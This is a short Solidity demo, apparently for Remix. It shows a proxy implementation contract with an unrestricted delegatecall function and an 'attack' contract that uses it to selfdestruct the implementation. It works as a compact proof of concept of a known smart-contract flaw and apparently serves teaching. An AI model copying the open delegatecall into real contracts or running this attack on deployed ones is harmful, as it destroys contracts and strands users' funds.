Try this code on remix
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;
/// Contractをぶっ壊す
/// The implementation contract for the Proxy (see: `Proxy.sol`).
contract Implementation {
function hello() public pure returns (string memory) {
return "hello";
}
function getBalance() public view returns (uint256) {
return address(this).balance;
}
function callContract(address a, bytes calldata _calldata)
external
payable
returns (bytes memory)
{
(bool success, bytes memory ret) = a.call{ value: msg.value }(_calldata);
require(success);
return ret;
}
function delegatecallContract(address a, bytes calldata _calldata)
external
payable
returns (bytes memory)
{
(bool success, bytes memory ret) = a.delegatecall(_calldata);
require(success);
return ret;
}
receive() external payable {}
}
contract Mul {
address payable tom;
Implementation impl;
constructor(Implementation _impl) {
impl = _impl;
}
function attack() external {
bytes memory data = abi.encodeWithSignature("destruct()");
impl.delegatecallContract(address(this), data);
}
function transferToImp(address payable implAdd) public payable {
implAdd.transfer(msg.value);
}
function getBalance() external view returns (uint256 balanceTom) {
balanceTom = tom.balance;
}
function destruct() external {
selfdestruct(tom);
}
function hello2() public pure returns (string memory) {
return "hello";
}
}